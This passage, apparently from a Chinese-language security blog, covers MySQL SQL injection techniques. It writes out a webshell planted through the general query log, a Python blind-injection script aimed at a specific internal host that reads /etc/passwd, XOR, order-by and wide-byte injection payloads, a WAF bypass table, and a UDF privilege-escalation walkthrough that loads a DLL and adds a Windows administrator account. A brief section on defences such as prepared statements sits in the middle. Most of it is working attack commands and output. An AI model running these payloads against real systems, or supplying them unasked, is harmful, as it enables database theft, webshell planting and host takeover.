差点遗漏了写日志这个点。在我们没有可写的函数的时候,实际上还可以通过写日志的方式来写shell的。但是这里还是需要file权限,如下只针对于secure_file_priv选项导致load_fileselect into无法用的时候,例如:

mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+

上面提到的secure_file_privnull,不满足读写条件,但是我们还可以通过写日志的方式。show variables like 'general_log%';

mysql> show variables like 'general_log%';
+------------------+------------------------------------------------------------------------+
| Variable_name    | Value                                                                  |
+------------------+------------------------------------------------------------------------+
| general_log      | OFF                                                                    |
| general_log_file | F:\development\PHP\PhpStudy\PHPTutorial\MySQL\data\DESKTOP-3FJOQ5B.log |
+------------------+------------------------------------------------------------------------+

这样我们就能查看日志文件的位置,以及日志是否开启,而上面就是关闭的,但是上面两个选项均为动态变量,即可以通过set关键字进行调整,例如:

mysql> set global general_log='on';
Query OK, 0 rows affected (0.06 sec)

mysql> set global general_log_file='F:/development/PHP/Phpstudy/PHPTutorial/WWW/hwhxy.php';
Query OK, 0 rows affected (0.06 sec)

首先开启了general_log,然后设置成general_log_file为根目录的shell
然后我们执行一条命令如:select '';,然后将general_log选项关闭(脏数据越少越好)。这时我们来查看一下hwhxy.php,如:

F:\development\PHP\PhpStudy\PHPTutorial\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
181009 20:22:31	    1 Query	select ''
181009 20:24:05	    1 Query	set global general_log=off

此时已经写进去shell了。验证这一步就不做了。懒。

4.3 算法提升效率

对于盲注最大的弱点就是慢!,而我们在实际拿数据的情况下来看,如果手注的盲注的话,十年拿一个库所有数据,也太开心了吧。下面思考一些能够提升效率的算法。

4.3.1 二分法

对于二分发究竟能提升多少效率,大概就是从o(n)->o(log(n))的吧其实是可以提升很多的,在实际测试中也非常建议使用二分法,这是提升效率的最简单的做法。下面给出二分法的demo。例如:

import requests
import time

url = "http://10.112.193.178:7080/smallbss/bss/user/user!saveUserInfo.do"
headers = {
    "Cookie": "JSESSIONID=BF491A0FD38F586CCC0D7BC608EC18D9; wy_login_user=; wy_login_pwd=;",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv: 62.0) Gecko/20100101 Firefox/62.0",
}

payload = """user_id=20181012000013 and (select ascii(substring(({select}),{id},1))>{ascii})"""
content = ""
for i in range(1, 1000):
    l = 0
    r = 127
    while l < r:
        mid = int((l+r)/2)
        py = payload.format(id=i, ascii=mid, select="select load_file('/etc/passwd')")
        res = requests.post(url, data=py, headers=headers)
        if len(res.text) == 79:#ritght
            l = mid+1
        else:
            r = mid
    if l == 0:
        break
    content+=chr(l)
    print content
print content

5 更加骚的利用

5.1 异或盲注

如下参考https://www.anquanke.com/post/id/160584

先来了解一下mysql的数据类型转化

5.1.1 mysql数据类型的转换

官方文档
例如:

mysql> select user from user where user = 0;
+------------------+
| user             |
+------------------+
| debian-sys-maint |
| mysql.session    |
| mysql.sys        |
| root             |
+------------------+
4 rows in set, 4 warnings (0.00 sec)

mysql> select user from user where user = 1;
Empty set, 4 warnings (0.00 sec)

php弱相等的原理相同,是底层为了实现数据兼容,在出现不同数据类型进行计算或比较时会进行强制数据转换再进行操作
例如:

mysql> select ('admin' = 0);
+---------------+
| ('admin' = 0) |
+---------------+
|             1 |
+---------------+
1 row in set, 1 warning (0.00 sec)

mysql> select ('admin' = 1);
+---------------+
| ('admin' = 1) |
+---------------+
|             0 |
+---------------+
1 row in set, 1 warning (0.00 sec)

对于数字开头的字符串,转化为数字的结果就是截取前面的数字部分。同样也解释了没有数字开头的字符串转化为了0

mysql> select ('1a' = 1);
+------------+
| ('1a' = 1) |
+------------+
|          1 |
+------------+
1 row in set, 1 warning (0.00 sec)

mysql> select ('12a' = 1);
+-------------+
| ('12a' = 1) |
+-------------+
|           0 |
+-------------+
1 row in set, 1 warning (0.00 sec)

mysql> select ('12a' = 12);
+--------------+
| ('12a' = 12) |
+--------------+
|            1 |
+--------------+
1 row in set, 1 warning (0.00 sec)

根据上面的特性,可以达成异或盲注的效果。例如:

mysql> select user from user where user = 'root' ^ '1'='1';
Empty set, 5 warnings (0.00 sec)

mysql> select user from user where user = 'root' ^ '1'='0';
+------------------+
| user             |
+------------------+
| debian-sys-maint |
| mysql.session    |
| mysql.sys        |
| root             |
+------------------+
4 rows in set, 5 warnings (0.00 sec)

这里可以说明一下,这个查询的逻辑是('root' ^ '1'='1') = 0 --> select user from user where user = 0
这样的顺序,所以能够达到目标,所以我们可以构造这样的payload = root' ^ (substr(version(),1,1) > '4') ^ '1'='1'#,这里结合了上面盲注提到的例如:

mysql> select user from user where user = 'root' ^ (substr(version(),1,1) > '4') ^ '1'='1';
+------------------+
| user             |
+------------------+
| debian-sys-maint |
| mysql.session    |
| mysql.sys        |
| root             |
+------------------+
4 rows in set, 5 warnings (0.00 sec)

mysql> select user from user where user = 'root' ^ (substr(version(),1,1) > '5') ^ '1'='1';
Empty set, 5 warnings (0.00 sec)

如上就能达到盲注的效果。

5.2 order by 盲注

关于order by实际上是结合了union联合查询和布尔盲注,我们来看看union+order+by的效果

mysql> select * from test where id = 1 union select 1,2,3 order by 3;
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | 2        | 3                 |
|  1 | HWHXY    | a9312321be1235788 |
+----+----------+-------------------+
2 rows in set (0.00 sec)

我们知道order by 3是根据第三个字段进行排序的,union select 也能控制放入虚表的内容,所以我们可以控制放入的内容进行排序例如:

mysql> select * from test where id = 1 union select 1,2,'b' order by 3;
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | b                 |
+----+----------+-------------------+
2 rows in set (0.00 sec)

mysql> select * from test where id = 1 union select 1,2,'a' order by 3;
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | 2        | a                 |
|  1 | HWHXY    | a9312321be1235788 |
+----+----------+-------------------+
2 rows in set (0.00 sec)

所以根据这个特性我们可以做到盲注。

5.3 宽字节注入

现在很多网站包括很多cms,都没有统一使用一种编码,有的用gbk,有的用utf8,而这两种编码在汉字里面需要格外注意的一点就是,一个gbk占用2字节,一个utf-8占用3字节。

一般的cmssql注入进行转义,所以只要我们的参数在单引号里面,就没有办法进行注入。而宽字节注入也正是逃逸这样的转义的最好的方法。而对于宽字节注入讨论的范围是gbk,像我们使用%df逃逸’’.

而如果不是gbk,如果是gbk2312,则无法造成宽字节注入,因为gb2312的取值范围,高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,不在低位的范围之中,所以不是gb2312的编码,所以可以这么认为,低位的范围包含0x5c的编码就可以进行宽字节注入。

6 some tips(waf bypass)

上面介绍了见识过的注入方法,下面介绍注入技巧,技巧配合方法,才能达到最大的效果。

6.1 waf bypass

针对于不同的waf ,我希望制作一个waf bypass的表格,方便自己查询和结合。

+--------------+------------------------------------------------------+
| waf          | pass                                                 |
+--------------+------------------------------------------------------+
| space        | %0a,%20,/**/                                         |
| =            | like,rlike,regexp                                    |
| limit        | group_concat                                         |
| ,            | limit offset                                         |
| ,            | from for / from -1                                   |
| ,            | join                                                 |
| blacklist    | /**/,hex(),DoubleWrite,concat,concat_ws,group_concat |
| '            | hex(),CHAR()                                         |
| safedog      | one */ close more than one /*                        |
| chaitin      | /*!*/                                                |
| su.baidu.com | -+%0a                                                |
| aliyun       | -+%0a,@,{a key}                                      |
+--------------+------------------------------------------------------+

6.1.1 group_concat

用法为:group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
简单的解释就是能够将多行的信息一行输出,例如:

mysql> select user from user;
+------------------+
| user             |
+------------------+
| debian-sys-maint |
| mysql.session    |
| mysql.sys        |
| root             |
+------------------+
4 rows in set (0.00 sec)

mysql> select group_concat(user) from user;
+-----------------------------------------------+
| group_concat(user)                            |
+-----------------------------------------------+
| debian-sys-maint,mysql.session,mysql.sys,root |
+-----------------------------------------------+
1 row in set (0.00 sec)

6.1.2 from for/from 负数

mysql> select mid(user() from 1 for 2);
+--------------------------+
| mid(user() from 1 for 2) |
+--------------------------+
| ro                       |
+--------------------------+
1 row in set (0.00 sec)

mysql> select mid(user() from -2);
+---------------------+
| mid(user() from -2) |
+---------------------+
| st                  |
+---------------------+
1 row in set (0.00 sec)

6.1.3 join注入

join注入的思路就是先创建一个虚表,没有内容,然后将不同内容join进去.
可以形象的理解为union select注入的变种,只是可以不需要的操作。简单的做个示范,例如:

mysql> select id,username from test where 1>2 union select 1,2;
+----+----------+
| id | username |
+----+----------+
|  1 | 2        |
+----+----------+
1 row in set (0.00 sec)

mysql> select id,username from test where 1>2 union select * from ((select user())a join (select database())b);
+----------------+----------+
| id             | username |
+----------------+----------+
| root@localhost | mysql    |
+----------------+----------+
1 row in set (0.00 sec)

6.1.4 !注入

没找到对应的资料,暂时留个白

7 waf的位置来看bypass

如下参考参考文档

7.1 参数与union之间的位置

例如:id = 1这样的情况,如果是正常的注入payload 例如:id=1 union select 1,2,database()#,根据不同的waf位置来看讨论waf

7.1.1 浮点数(1.0,1.1等等)

例如:

mysql> select * from test where id =1.0union (select 1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

7.1.2 \Nunion

例如:

mysql> select * from test where id =\Nunion (select 1,2,database());
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | mysql    |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

7.1.3 科学计数法(1e0等)

例如:

mysql> select * from test where id =1e1union (select 1,2,database());
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | mysql    |
+----+----------+----------+
1 row in set (0.00 sec)

7.1.4 注释(/**/)

例如:

mysql> select * from test where id =1/*aaa*/union (select 1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+

7.2 union与select之间的位置

7.2.1 注释

同上

7.2.2 括号

例如:

mysql> select * from test where id =1.0union(select 1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

7.2.3 空白字符

%09,%0a,%0b,%0c,%0d,%a0

7.3 union select后的位置

7.3.1 空白字符

%09,%0a,%0b,%0c,%0d,%a0

7.3.2 注释

同上

7.3.3 括号

例如:

mysql> select * from test where id =1.0union(select(1),2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

7.3.4 减号、加号、~、!,@

mysql> select * from test where id =1.0union(select+1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

mysql> select * from test where id =1.0union(select-1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
| -1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

mysql> select * from test where id =1.0union(select~1,2,database());
+---------------------+----------+-------------------+
| id                  | username | password          |
+---------------------+----------+-------------------+
|                   1 | HWHXY    | a9312321be1235788 |
| 9223372036854775807 | 2        | mysql             |
+---------------------+----------+-------------------+
2 rows in set (0.00 sec)

mysql> select * from test where id =1.0union(select!1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  0 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

mysql> select * from test where id =1.0union(select@1,2,database());
+------+----------+-------------------+
| id   | username | password          |
+------+----------+-------------------+
| 1    | HWHXY    | a9312321be1235788 |
| NULL | 2        | mysql             |
+------+----------+-------------------+
2 rows in set (0.00 sec)

7.3.4.1 @

其中关于@这个符号,可以介绍一下:作用是赋值给一个变量。第一种方式主要是用set关键词。

mysql> set @var1=1,@var2=2,@var3=(select version());
Query OK, 0 rows affected (0.00 sec)

mysql> select @var1,@var2,@var3;
+-------+-------+-------------------------+
| @var1 | @var2 | @var3                   |
+-------+-------+-------------------------+
|     1 |     2 | 5.7.23-0ubuntu0.16.04.1 |
+-------+-------+-------------------------+
1 row in set (0.00 sec)

第二种方式,select直接赋值,在sql注入中这种方法用的比较多。例如:

mysql> select @var1:=1,@var2:=3,@var3:=(select version());
+----------+----------+---------------------------+
| @var1:=1 | @var2:=3 | @var3:=(select version()) |
+----------+----------+---------------------------+
|        1 |        3 | 5.7.23-0ubuntu0.16.04.1   |
+----------+----------+---------------------------+
1 row in set (0.00 sec)

7.3.5 /!50000/

关于注释符,这里实验的时候还出现了一些小问题,例如:
测试/*!50000select*/的时候执行了select


mysql> select * from test where id =1.0union(/*!50000select*/1,2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.00 sec)

而我在测试/*!5000select*/时,发生了错误:

mysql> select * from test where id =1.0union(/*!5000select*/1,2,database());
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '5000select*/1,2,database())' at line 1

这就引发了一场讨论,讨论的结果发现,当这个数字为五位数,并且小于50724时能够运行/*!*/内的代码,例如:

mysql> select /*!50724version()*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> select /*!50723version()*/;
+-------------------------+
| version()               |
+-------------------------+
| 5.7.23-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

50723就是mysql的版本5.7.23,也就是说只要该数字小于该数字,那么如果小于了五位数会发生什么呢,例如:

mysql> select /*!9999version()*/;
ERROR 1305 (42000): FUNCTION mysql.9999version does not exist

我们发现,将注释代码和我们要查询的代码进行拼接,整体的带入查询了,所以没有查出东西。还有一个特性就是00000也是可以实现的,所以可以初步认为是一种格式,必须是五位数,并且小于当前mysql版本的格式才能实现这样的注入。

7.3.6 {x 1}大括号

例如:

mysql> select * from test where id =1.0union(select{x 1},2,database());
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
|  1 | 2        | mysql             |
+----+----------+-------------------+
2 rows in set (0.01 sec)

这里的{x 1}到底是什么意思呢?
我们可以在官方文档中找到对应的说法。
实际上这种写法是一种兼容OBDC的写法,而不是正规的sql语法。
类似于这种
SELECT * FROM table1 WHERE datefield = {d '1995-09-12'},d表示格式。例如:Date {d 'yyyy-mm-dd'} , Time {t 'hh:mm:ss'}
我在本地测试了一下,对于mysql没有格式的严格校验。

mysql> select {a version()}
    -> ;
+-------------------------+
| {a version()}           |
+-------------------------+
| 5.7.23-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

7.3.7 反引号 (``)

例如:

mysql> select * from`test`;
+----+----------+-------------------+
| id | username | password          |
+----+----------+-------------------+
|  1 | HWHXY    | a9312321be1235788 |
+----+----------+-------------------+
1 row in set (0.00 sec)

综上,关于我脑子里的sql注入的攻击手段,忽略留白处算是告一段落了,还有一些绕waftips会慢慢的补充,接下来一段时间,我会思考一下sql的防范,以及后端的代码的写法。

8 关于sql的防御

8.1 关闭错误提示

php配置文件php.ini中的display_error=off就可以关闭错误提示。

8.1.1 magic_quotes_gpc

魔术引号,同样存在php配置文件php.ini中,phpstudy可以直接参数设置。其作用是对用户提交的所有变量的单引号,双引号,反斜杠,null进行自动的转义。但是要注意的是,这个配置只针对于所有的GET,POST,COOKIE值,如果是header的其他地方能够入库,则无法防御。

8.1.2 addslashes

addslashes函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号(’)、双引号(")、反斜线()与 NUL(NULL 字符)。作用和上述的magic_quotes_gpc相同。
所以在使用该函数的时候需要判断配置是否开启magic_quotes_gpc,双重使用则需要使用stripslashes消除多余的,很蠢。

8.1.3 htmlspecialchars

html实体,转义的字符有五个如下

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

8.1.4 正则过滤

万不得已,别用这个,waf都比你强。

8.1.5 转换数据类型

查询之前先进行数据类型的检测,intval()检测int类型。

8.1.6 预编译

预编译语句是预防sql注入的最好的方式了吧,但是听人说过预编译也是可以逃逸的,这里留个白。
能够防护的原因在于预编译的sql语句的语义不会改变,变量使用?表示,攻击者没有办法改变sql语句的结构,从根本上杜绝了sql注入.例如:



header('Content-type:text/html;charset=UTF-8');
$servername = "localhost";
$username = "root";
$password = "root";

$username = isset($_GET['username']) ? $_GET['username'] :'';
$userinfo = array();
if $(username){
    $conn = mysqli_connect($servername, $username, $password); 
    if (!$conn) {
        die("Connection failed: " . mysqli_connect_error());
    }
    else{
        $sql = "SELECT id,username FROM user where username =?";
        $stmt = $conn->prepare($sql);
        //s表示string
        $stmt->bind_param("s",$username);
        $stmt->execute();
        //output
        $stmt->bind_result($id,$username);
        while ($stmt->fetch()){
            $row = array();
            $row['id'] = $id;
            $row['username'] = $username;
            $userinfo[] = $row;
        }
    }
}
echo '

',print_r($userinfo,1),'

'
; ?>

8.1.7 character_set_client

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

关于这个修复是p神在修复宽字节注入的时候给出的修复方案。目的是为了在接受到参数进行binary传递数据,避免了因为单引号逃逸造成的宽字节注入。但是这个手段要避免使用iconv进行编码转换,否则会失效,具体原因不想讲。

9 提权[10.9补充]

我们在能够执行数据库操作的时候,如果能使用file读写,实际上有时候还是不够的还是需要通过一些手法进行提权。(长亭面试问道,差点忘了)

9.1 udf提权

UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能,这里自定义的形式是写成dll的插件,如果是linux则是so文件。

9.1.1 lib/plugin

Mysql5.1及以上版本必须将DLL文件上传到mysql安装目录下的lib/plugin文件夹下才能创建自定义的函数。,而默认情况下plugin并不存在,我们通过查看show variables like '%plugin%'

mysql> show variables like '%plugin%';
+---------------+-----------------------------------------------------------+
| Variable_name | Value                                                     |
+---------------+-----------------------------------------------------------+
| plugin_dir    | F:\development\PHP\PhpStudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-----------------------------------------------------------+
1 row in set (0.00 sec)

但是实际上文件夹并不存在,如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WdJAgkbH-1611628250729)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/udftiquan.png)]

那么这个时候需要我们用webshell自行创建一个dir,路径已经通过上面给出,使用mkdir path即可。

9.1.2 上传dll

ok,第二步我们需要做到保证lib/plugin里面有一个dll文件可以控制。也就是我们有两种思路,一种是直接上传一个dlllib/plugin但是这样肯定行不通,因为权限很有可能不够,另一种就是先获得dll的内容,然后用dumpifile写入。这种方法看起来更靠谱一些,那么我们现在就缺一个dll了。

9.1.2.1 sqlmap udf导出

我在进行信息收集的时候发现https://blog.csdn.net/x728999452/article/details/52413974
sqlmap存在自带的dll,但是有位数的限制,可以通过mysql --help | find "Distrib"进行查看。然后根据网上的方法,clock.py解密可以看到已经得到dll文件了,保存下来吧,循环使用,环保!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bIoiS3gZ-1611628250731)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/udftiquan2.png)]

9.1.2.2 dll hex

我们将dllhex保存成dll.txt,如:

mysql> select hex('D:\\Python27\\sqlmap\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll');
+--------------------------------------------------------------------------------------------------------------------------+
| hex('D:\\Python27\\sqlmap\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll')                                               |
+--------------------------------------------------------------------------------------------------------------------------+
| 443A5C507974686F6E32375C73716C6D61705C7564665C6D7973716C5C77696E646F77735C33325C6C69625F6D7973716C7564665F7379732E646C6C |
+--------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select hex(load_file(0x443A507974686F6E323773716C6D61707564666D7973716C77696E646F777333326C69625F6D7973716C7564665F7379732E646C6C)) into dumpfile 'C:\dll.txt';
Query OK, 1 row affected (0.01 sec)

mysql>

当然也可以直接用hex然后直接写也行但是这样我能看起来更加清爽,然后我将dll.txt上传至网站根目录,然后用同样的方法写入即可。

9.1.3 dll写入

这里的load_file地址写你上传的dll.txt地址,或者直接复制十六进制.

mysql> select unhex(load_file('C:\dll.txt')) into dumpfile 'F:\development\PHP\PhpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll';
Query OK, 1 row affected (0.01 sec)

ok,成功一大半了,开始最后一步。

9.1.4 create FUnction

现在我们可以通过动态链接库来创建函数了,那么我们可以创建哪些函数呢?如下:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

当然我们最希望的是控制cmd了来试试。
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'
可以看到创建成功

mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
Query OK, 0 rows affected (0.02 sec)

执行命令!SELECT sys_eval('cmd');

mysql> SELECT sys_eval('whoami');
+-----------------------+
| sys_eval('whoami')    |
+-----------------------+
| desktop-3fjoq5b\hwhcz |
+-----------------------+
1 row in set (0.38 sec)

我们来试试提权!

mysql> SELECT sys_eval('net user hwhxy hwhxy /add');
+---------------------------------------+
| sys_eval('net user hwhxy hwhxy /add') |
+---------------------------------------+
| 命令成功完成。
                                   |
+---------------------------------------+
1 row in set (0.51 sec)

mysql> SELECT sys_eval('net localgroup administrators hwhxy /add');
+------------------------------------------------------+
| sys_eval('net localgroup administrators hwhxy /add') |
+------------------------------------------------------+
| 命令成功完成。
                                                  |
+------------------------------------------------------+
1 row in set (0.43 sec)

真是太残暴了,还是赶快把这个函数删了先,drop function sys_eval
至此udf提权全部讲完,最后讲讲限制,虽然应该开头讲,但是无访,有两点,root用户登陆,windows

9.2 mof提权

此提权方法也是在长亭面试的时候问到,但是之前没有接触过,特地来学习记录一番。

你可能感兴趣的:(安全知识库)